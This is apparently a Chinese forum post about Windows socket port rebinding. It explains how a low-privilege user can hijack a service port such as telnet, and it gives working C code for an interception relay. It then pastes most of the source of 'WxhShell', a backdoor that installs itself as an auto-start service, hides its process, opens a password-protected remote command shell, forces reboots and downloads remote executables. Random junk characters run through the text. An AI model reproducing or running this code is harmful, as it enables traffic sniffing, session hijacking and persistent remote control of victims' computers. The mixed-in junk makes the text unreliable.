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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AS"|r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [gr[0aGBc  
iKH T  
  saddr.sin_family = AF_INET; Uk ;.Hrt.  
oc%le2   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XlJux_LD:  
 %!h+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;9 n8on\  
(gC^5&11  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V+ ~2q=  
'n.9qxY;  
  这意味着什么?意味着可以进行如下的攻击: $=SYssg7La  
WY~[tBi\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1L qJ@v0  
P2RL\`<"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]H'82a  
0]0M>vx u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `ViNSr):J  
:>ST)Y@]w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  < io8 b|A  
%= ;K>D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :@A;!'zpL  
OWfj<#}t+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `;2`H, G'  
Xn'>k[}<k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 19`0)pzZ*P  
JN-8\ L  
  #include !7*/lG  
  #include RtQfE+  
  #include R}<s~` Pl  
  #include    kakWXGeR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4c@F.I  
  int main() $ {eh52)`  
  { 6x8|v7cMH  
  WORD wVersionRequested; z{WqICnb  
  DWORD ret; j" .6  
  WSADATA wsaData; T5+b{qA  
  BOOL val; M<pgaB0  
  SOCKADDR_IN saddr; d>psqmQ  
  SOCKADDR_IN scaddr; nE%qm -  
  int err; "g[UX{L  
  SOCKET s; VO?NrKyeW  
  SOCKET sc; BEx^IQ2  
  int caddsize; . Dxrc  
  HANDLE mt; @6 `@.iZ  
  DWORD tid;   !PbFo%)  
  wVersionRequested = MAKEWORD( 2, 2 ); $ayD55W4  
  err = WSAStartup( wVersionRequested, &wsaData ); D8XXm lo  
  if ( err != 0 ) { Sd11ZC6  
  printf("error!WSAStartup failed!\n"); e 3oIoj4o  
  return -1; VH65=9z  
  } KphEw[4/  
  saddr.sin_family = AF_INET; }epN<DL  
   r{&"]'/X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "// 8^e%Xo  
+-V?3fQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?&_\$L[  
  saddr.sin_port = htons(23); #oY7v,x\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2 G{KpM&  
  { Z`M Q+  
  printf("error!socket failed!\n"); .p_$]  
  return -1; ![jP)WgF  
  } v 0H#\p  
  val = TRUE; -3 Hq1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mpx.n]O.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xoaQ5u  
  {  JwcP[w2  
  printf("error!setsockopt failed!\n"); !1R  
  return -1; <{uIB;P  
  } 7X>3WF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <0}'#9>O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '5\1uB PKW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aR $P}]H  
+M:Q!'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;_*F [ }w  
  { K)OlCpHc  
  ret=GetLastError(); `BY`ltW  
  printf("error!bind failed!\n"); eD0@n :  
  return -1; k/O&,T77}J  
  } en)DN3  
  listen(s,2); b L~<~gA  
  while(1) eyV904<F  
  { .jw)e!<\N  
  caddsize = sizeof(scaddr); ktRdf6:~  
  //接受连接请求  VVY\W!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \ 3N#%  
  if(sc!=INVALID_SOCKET) 3iTjM>+>  
  { 4F?1,-X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oY:>pxSz<@  
  if(mt==NULL) [ Ma9  
  { ]W,g>91m  
  printf("Thread Creat Failed!\n"); ) |a5Qxz  
  break; Vy $\.2=  
  } u:$x,Q  
  } Fy^\Uw  
  CloseHandle(mt); uv!/DX#  
  } xm5D$m3#  
  closesocket(s); \=~Ap#Mpc4  
  WSACleanup(); huIr*)r&p  
  return 0; ~ 5b %~:  
  }   107SXYdhI  
  DWORD WINAPI ClientThread(LPVOID lpParam) wd *Jq  
  { E3qX$|.$/  
  SOCKET ss = (SOCKET)lpParam; $? Rod;  
  SOCKET sc; Ycwb1e#  
  unsigned char buf[4096]; XijQ)}'C3  
  SOCKADDR_IN saddr; IcZ'KV  
  long num; NR5A"_'  
  DWORD val; [(mq8Nb  
  DWORD ret; $nW>]S\|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A 3l1$t#w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4w,}1uNEf  
  saddr.sin_family = AF_INET; 5I14"Qf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $.kYAsZts  
  saddr.sin_port = htons(23); gFH_^~7i8p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 03PVbDq-  
  { TH-^tw  
  printf("error!socket failed!\n"); qCMcN<:>  
  return -1; dGg+[?  
  } 6dh PqL  
  val = 100; Velmq'n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -#r_9HQ,w  
  { 1 /`>Eh  
  ret = GetLastError(); <~3 a aO  
  return -1; KME #5=~  
  } ;S7xJ 'H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ntT| G0E  
  { Q.Acmht#  
  ret = GetLastError();  T-\,r  
  return -1; gM8eO-d  
  } c8u0\X,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >,v~,<3 i  
  { 1NTe@r!y  
  printf("error!socket connect failed!\n"); U7W ct %  
  closesocket(sc); 6!$S1z#wM  
  closesocket(ss); bu.36\78  
  return -1;  ;"3Mm$  
  } 4 R]|  
  while(1) {:Q2Itsy  
  { |Yx8Ez  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :1iw_GhJf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O]>Or3oO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 km^AX:r1  
  num = recv(ss,buf,4096,0); z(ajR*\#  
  if(num>0) B@4#y9`5  
  send(sc,buf,num,0); E_OLf%um  
  else if(num==0) x[X.// :  
  break; xfzR>NU  
  num = recv(sc,buf,4096,0); u0,~pJvX  
  if(num>0) `'>>[*06:a  
  send(ss,buf,num,0); La!PG Z{  
  else if(num==0) p4[W@JV  
  break; 5^xt/vYa)  
  } 5FMKJ7sC9  
  closesocket(ss); 8|l Yf%n>j  
  closesocket(sc); H`P )  
  return 0 ; L81"W`?  
  } O Rfl v+  
-'nx7wnj2  
9#p^Z)[)-  
========================================================== _FV.}%W<u  
% /s1ma6q  
下边附上一个代码,,WXhSHELL H\^^p!^)  
H|^4e   
========================================================== ..!yf e"5  
LV[4zo]=  
#include "stdafx.h" ]8^2(^3ct  
XEuv aM  
#include <stdio.h> Vf@/}=X *  
#include <string.h> Zwc b5\Q  
#include <windows.h> ovl@[>OB  
#include <winsock2.h> yP-Dj ,  
#include <winsvc.h> I}:/v$btM  
#include <urlmon.h> B[$e;h*Aw[  
g (~&  
#pragma comment (lib, "Ws2_32.lib") D"hiEz  
#pragma comment (lib, "urlmon.lib") ck}y-,>,[O  
b9U2afd  
#define MAX_USER   100 // 最大客户端连接数 ql4T@r3l}3  
#define BUF_SOCK   200 // sock buffer c*h5lM'n6  
#define KEY_BUFF   255 // 输入 buffer ,kP{3.#Q  
T:-Uy&pBEN  
#define REBOOT     0   // 重启 6?~pWZ&k_  
#define SHUTDOWN   1   // 关机 o] nQo?!  
C{Fo^-3  
#define DEF_PORT   5000 // 监听端口 xP*RH-<  
%6n;B|!  
#define REG_LEN     16   // 注册表键长度 pp:+SoyN  
#define SVC_LEN     80   // NT服务名长度 (*EN!-/  
~$cw]R58,9  
// 从dll定义API <D=%5 5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~2qFA2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <I>q1m?KN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e0q a ~5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hk=+t&Y<H  
D&'".N,}  
// wxhshell配置信息 [:o#d`^  
struct WSCFG { 5!Guf?i  
  int ws_port;         // 监听端口 s)C.e# xl  
  char ws_passstr[REG_LEN]; // 口令 =m40{  
  int ws_autoins;       // 安装标记, 1=yes 0=no wjl? @K  
  char ws_regname[REG_LEN]; // 注册表键名 Kb}N!<Z*  
  char ws_svcname[REG_LEN]; // 服务名 4b#YpK$7U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i"b*U5k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y8d%L;b[D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YONg1.^!(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JmBYD[h,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *)w 8fq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J:>TV.TP  
xS.0u"[  
}; u/MIB`@,  
5pDxFs=v  
// default Wxhshell configuration 4uv }6&R  
struct WSCFG wscfg={DEF_PORT, &O'yhAP] j  
    "xuhuanlingzhe", iCH Z{<k  
    1, #*~ (  
    "Wxhshell", .1}u0IbJ  
    "Wxhshell", sC#Ixq'ls7  
            "WxhShell Service", (d (whlF  
    "Wrsky Windows CmdShell Service", M,9WF)p)V  
    "Please Input Your Password: ", 0t9G $23  
  1, Fm@GU  
  "http://www.wrsky.com/wxhshell.exe", LR^b?.#>  
  "Wxhshell.exe" IuTTMAt  
    }; LvR=uD  
55AG>j&41  
// 消息定义模块 [fb-G5x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |[qI2-el?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aw,8'N)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B1GSZUd^?0  
char *msg_ws_ext="\n\rExit."; )~J/,\  
char *msg_ws_end="\n\rQuit."; &K7g8x"x.  
char *msg_ws_boot="\n\rReboot..."; Lt*H|9  
char *msg_ws_poff="\n\rShutdown..."; Ah"Rx A  
char *msg_ws_down="\n\rSave to "; !ine|NM  
)S`A+M K]  
char *msg_ws_err="\n\rErr!"; M_PL{  
char *msg_ws_ok="\n\rOK!"; d BJM?/  
b w cPY  
char ExeFile[MAX_PATH]; /r)d4=1E  
int nUser = 0; /qz( ra  
HANDLE handles[MAX_USER]; M- -6oR7  
int OsIsNt; )~Q$ tM`  
s^AYPmR6  
SERVICE_STATUS       serviceStatus; ,7'l$-rl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xNx!2MrR;  
*BF1 Sso  
// 函数声明 2^juLXc|R  
int Install(void); zgO?%O  
int Uninstall(void); ^{bP#f   
int DownloadFile(char *sURL, SOCKET wsh); \'p)kDf  
int Boot(int flag); =\q3;5[  
void HideProc(void); rsIjpPa  
int GetOsVer(void); ^RY_j>i  
int Wxhshell(SOCKET wsl); UgUW4x'+  
void TalkWithClient(void *cs); jW6@U%[!b  
int CmdShell(SOCKET sock); wOOPuCw?  
int StartFromService(void); kt@+UK."  
int StartWxhshell(LPSTR lpCmdLine); h rZ\ O?j  
:]]amziP&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $k!t&G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zw }7vD0  
ld3,)ZY  
// 数据结构和表定义 oc15!M3$  
SERVICE_TABLE_ENTRY DispatchTable[] = D3jP hPy.  
{ UH)A n:9  
{wscfg.ws_svcname, NTServiceMain}, Z(V 4"x7F  
{NULL, NULL} pIh@!C  
}; [6c{t  
>si<VCO  
// 自我安装 2Aff3]-:Gd  
int Install(void) <|.M]]}j  
{ kQj8;LU  
  char svExeFile[MAX_PATH]; H6~QSe0l  
  HKEY key; alq>|,\x  
  strcpy(svExeFile,ExeFile); I5-/K VWb  
K r9 @  
// 如果是win9x系统,修改注册表设为自启动 7%0PsF _  
if(!OsIsNt) { =7$YBCuF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9m#`56G`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mxXQBmW  
  RegCloseKey(key); pa.W-qyu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r^]0LJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &^z~wJ,]  
  RegCloseKey(key); G;tIhq[$Vb  
  return 0; lte~26=e  
    } B^KC~W  
  } <yIJ$nBx  
} WJ mj|$D  
else { nc`[fy|}  
`OBDx ^6F  
// 如果是NT以上系统,安装为系统服务 $#0%gs/x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =LuA [g  
if (schSCManager!=0) $ccI(J`zux  
{ V{(ve#y7`{  
  SC_HANDLE schService = CreateService Ao0F?2|  
  ( T,;6q!s=  
  schSCManager, u[cbRn,W  
  wscfg.ws_svcname, a1s=t_wT  
  wscfg.ws_svcdisp, ne;,TJ\  
  SERVICE_ALL_ACCESS, &oAuh?kTq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jtd{=[STU  
  SERVICE_AUTO_START, \n/_ Px  
  SERVICE_ERROR_NORMAL, 8 2_3|T  
  svExeFile, PI }A')Nq.  
  NULL, $o-s?";  
  NULL, 73P(oVj<  
  NULL, YRB,jwne  
  NULL, 9 =hA#t.#  
  NULL /*st,P$"  
  ); }bHd U]$}  
  if (schService!=0) =_TCtH  
  { ; zs4>>^>  
  CloseServiceHandle(schService); u dH7Q&"  
  CloseServiceHandle(schSCManager); |JrG?:n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +]B^*99  
  strcat(svExeFile,wscfg.ws_svcname); TlM ]d;9G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u YJ6 "j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dGZVWEaPfx  
  RegCloseKey(key); 'os-+m@  
  return 0; _sw,Y!x%dF  
    } \ <V{6#Q=  
  } u TOL  
  CloseServiceHandle(schSCManager); .\i9}ye  
} y|c]r!A  
} _e/v w:  
m,Os$>{Ok  
return 1; Z!tt(y\  
} rjfQ\W;}U  
 x@Q}sW92  
// 自我卸载 ]W]Vkkg]  
int Uninstall(void) sgFpZk  
{ E@t^IGD r  
  HKEY key; +\Rp N  
27gK Y Zf;  
if(!OsIsNt) { +|\dVe.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1)M3*h3  
  RegDeleteValue(key,wscfg.ws_regname); L{osh0  
  RegCloseKey(key); sexnO^s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Av7bp[OD  
  RegDeleteValue(key,wscfg.ws_regname); e>Is$+[`7  
  RegCloseKey(key); }9{6{TD  
  return 0; WCU[]A  
  } Wrt3p-N"D  
} HlLF<k~}  
} NNSn]LP  
else { o9>r -  
T*O!r`.Ak  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IL`5RZi1  
if (schSCManager!=0) >H[&Wa+_  
{ =|=9\3po  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8!E$0^)c|  
  if (schService!=0) 8%2*RKj  
  { /1t(e._  
  if(DeleteService(schService)!=0) { v?5Xx{ym  
  CloseServiceHandle(schService); qH$G_R#)8B  
  CloseServiceHandle(schSCManager); fq _6xs  
  return 0; EcFYP"{U  
  } J*qepq`_  
  CloseServiceHandle(schService); HIeWgw^"  
  } +#n5w8T)M  
  CloseServiceHandle(schSCManager); c.,eIiL  
} sl>4O]N  
} mI"`.  
pn>zuH e  
return 1; pT:CvJ  
} R7( + ^%  
lB.P   
// 从指定url下载文件 , )u}8ty3j  
int DownloadFile(char *sURL, SOCKET wsh) 7DXT1+t  
{ I3p ~pt2  
  HRESULT hr; 6D@tCmmq  
char seps[]= "/"; j<4J_wE  
char *token; lD. PNwM  
char *file; @\b*a]CV  
char myURL[MAX_PATH]; !uy?]l  
char myFILE[MAX_PATH]; { SJ=|L6  
WSKG8JT^|  
strcpy(myURL,sURL); ,r+=>vre  
  token=strtok(myURL,seps); kjJ\7x6M  
  while(token!=NULL) rN8 ZQiJC  
  { '9]%#^[Q  
    file=token; t&eY+3y,T  
  token=strtok(NULL,seps); zH}u9IR3`  
  } D3vdO2H  
,m9Nd "6\  
GetCurrentDirectory(MAX_PATH,myFILE); A: 0  
strcat(myFILE, "\\"); L*Xn!d%  
strcat(myFILE, file); m},nKsO  
  send(wsh,myFILE,strlen(myFILE),0); ^s_E|~U  
send(wsh,"...",3,0); _|x%M}O},  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %t`a-m  
  if(hr==S_OK) hQ#'_%:  
return 0; k-Le)8+b  
else ) yRC$7I  
return 1; t-3wjS1v  
[A fV+$  
} Y+F$]!hw  
GL9R 5  
// 系统电源模块 (+q?xwl!N  
int Boot(int flag) WQ|d;[E  
{ lKxv SyD  
  HANDLE hToken; hnmFhJ !g  
  TOKEN_PRIVILEGES tkp; Fu(e4E  
&l-g3l[  
  if(OsIsNt) { = r_&R#~GT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KSc&6UVz^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [}+0N GgR  
    tkp.PrivilegeCount = 1; (S =::ODU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #sq-V,8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #<MLW4P  
if(flag==REBOOT) { w(<; $9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M%1-fd  
  return 0; --dGN.*xb4  
} dPPe_% Ilr  
else { 2u~0B +)K/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UW. F1)  
  return 0; vx5;}[Bhm  
} o>\jc  
  } Qf$0^$ "  
  else { _bMD|  
if(flag==REBOOT) { 7Z93`A-=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^kch]?  
  return 0; J wRdr8q  
} 6JSa:Q>,  
else { @L,T/m-HF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d]} 7]  
  return 0; bv)E>%Yy  
} p}}}~ lC/  
} _+T;4U' p  
*;1G+Q#  
return 1; #Jq@p_T"  
} -$.$6"]  
^{zwIH2I]  
// win9x进程隐藏模块 iS hB ^  
void HideProc(void) 0/#XUX 4  
{ "mSDL:$  
O_FT@bo\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .KIAeCvl\  
  if ( hKernel != NULL ) Q4Hf!v]r  
  { m Wsegq4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1x V~EX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B@63=a*kG  
    FreeLibrary(hKernel); :2 n5;fp  
  } [64K?l0&  
C;OU2,c,T  
return; BT2[@qH|qF  
} +wY3E*hU  
X.o[=E  
// 获取操作系统版本 >6@*%LM  
int GetOsVer(void) 3`5?Zgp  
{ 3 B KW  
  OSVERSIONINFO winfo; FwBktuS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &bRmr/D  
  GetVersionEx(&winfo); ^8 AV#a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i6h:%n]Io  
  return 1; W7O%.xP  
  else +O*S>0  
  return 0; 49 fs$wr@  
} VCX})sp  
__-rP  
// 客户端句柄模块 23U9+  
int Wxhshell(SOCKET wsl) ^r(2 r  
{ Y=vA ;BE]R  
  SOCKET wsh; ?:lOn(0&  
  struct sockaddr_in client; 7 G~MqnO|  
  DWORD myID; &julw;E  
VS%8f.7ep  
  while(nUser<MAX_USER) A:cc @ku  
{ dG Qy=T:  
  int nSize=sizeof(client); $_S^Aw?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )fA9,yNJ3  
  if(wsh==INVALID_SOCKET) return 1; R 7xV{o  
f]J?-ks  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c)rI[P7Q  
if(handles[nUser]==0) deda=%w0  
  closesocket(wsh); tCI8 \~  
else WN?!(r<qA_  
  nUser++; IE|x+RBD  
  } ^NHQ[4I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q'7o_[o/  
.J&NM(qeZ  
  return 0; {SqY77  
} CImB,AXS  
A^3cP, L  
// 关闭 socket [\@!~F{  
void CloseIt(SOCKET wsh) YZr^;jfP  
{ ucJR #14  
closesocket(wsh); 29,`2fFr  
nUser--; v\n!Li H  
ExitThread(0); zOg#=ql  
} `5O<U~'d  
3543[W#a  
// 客户端请求句柄 {pd%I  
void TalkWithClient(void *cs) <*8nv.PX*  
{ QbV)+7II=  
1Q#hanh_`  
  SOCKET wsh=(SOCKET)cs; ?9Fv0-g&n  
  char pwd[SVC_LEN]; qVZ=:D{  
  char cmd[KEY_BUFF]; wrK$ZO]  
char chr[1]; H1s{JJAM>i  
int i,j; SKD!V6S  
o7DDL{iR/  
  while (nUser < MAX_USER) { e4khReF;  
rZKv:x}{6  
if(wscfg.ws_passstr) { QkGr{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O|4~$7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \^|ncu:T  
  //ZeroMemory(pwd,KEY_BUFF); t{F6+dp  
      i=0; /n@_Ihx  
  while(i<SVC_LEN) { e}(. u1  
*q|.H9 K(  
  // 设置超时 %nFZA)B[  
  fd_set FdRead; Y^2Ma878  
  struct timeval TimeOut; :M1+[FT  
  FD_ZERO(&FdRead); y{!`4CxF  
  FD_SET(wsh,&FdRead); &{Uaa  
  TimeOut.tv_sec=8; dQ/Xs.8  
  TimeOut.tv_usec=0; bxrByu~|1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q/m}+v]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z*zLK[t+  
u'yePJTE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [9[tn -  
  pwd=chr[0]; v:JFUn}  
  if(chr[0]==0xd || chr[0]==0xa) { \@MGO aR]  
  pwd=0; +\"@2mOH{+  
  break; WuSRA<{P  
  } o1GWcxu*\  
  i++; Y49kq}  
    } Vn=J$Uv0  
qW;nWfkYC  
  // 如果是非法用户,关闭 socket )Qw|)='-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ln3x1^!  
} 0t/S_Q  
[MFV:Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *Ty>-aS1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :3Ty%W&&  
{D1=TTr^  
while(1) { B 8C3LP}?  
{7Dc(gNS  
  ZeroMemory(cmd,KEY_BUFF); _$MoMg{uJH  
+ #S]uC  
      // 自动支持客户端 telnet标准   Kqhj=B  
  j=0; gAv?\9=a)W  
  while(j<KEY_BUFF) { C\$7C5/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IB(IiF5  
  cmd[j]=chr[0]; AGLzA+6M  
  if(chr[0]==0xa || chr[0]==0xd) { NawnC!~ $  
  cmd[j]=0; ^R>&^"oI  
  break; %#/7Tl:  
  } nzhQ\'TC  
  j++; rf1-E57#  
    } i]8zZRe  
yK{;72  
  // 下载文件 p1J%=  
  if(strstr(cmd,"http://")) { J[VQ6fD%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |\~cjPX(  
  if(DownloadFile(cmd,wsh)) P/M*XUG.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bi?.G7>  
  else ?y ]3kU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Z.lvdA_5  
  } .6e5w1r63  
  else { vlEd=H,LT  
Vu~mi%UH  
    switch(cmd[0]) { ${6 ;]ye  
  { F. Ihw  
  // 帮助 .'__ [|-{;  
  case '?': { \W/c C'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +es.V /  
    break; V%o:Qa[a  
  } dXrv  
  // 安装 .!nFy`  
  case 'i': { (Pvch!  
    if(Install()) %8S!l;\H5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n+Fl|4  
    else !Aj_r^[X`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Vd)7/LN  
    break; f\^FUJy  
    } Nl;rg*@o  
  // 卸载 |{t}ULc  
  case 'r': { %ze Sx  
    if(Uninstall()) %z.u % %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k9yA#  
    else O?8G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xV<NeU  
    break; MttVgNV  
    } <aL$d7  
  // 显示 wxhshell 所在路径 X@|  
  case 'p': { ec"L*l"  
    char svExeFile[MAX_PATH]; vERsrg;(  
    strcpy(svExeFile,"\n\r"); ?=Ma7 y  
      strcat(svExeFile,ExeFile); "b-6kM  
        send(wsh,svExeFile,strlen(svExeFile),0); R:^GNra;  
    break; b4oZ@gVR;  
    } F =d L#@^  
  // 重启 X1tAV>k5'L  
  case 'b': { U{i9h6b"18  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h +N75  
    if(Boot(REBOOT)) c @2s!bs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l$zo3[  
    else { LR-op?W  
    closesocket(wsh); 33"{"2==`  
    ExitThread(0); ;rd!kFd#bq  
    } x<9|t(  
    break; )Cu"M #`  
    } 0o`0Td  
  // 关机 TtkB  
  case 'd': { E$smr\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LB2 2doW  
    if(Boot(SHUTDOWN)) 4i/TEHQ  
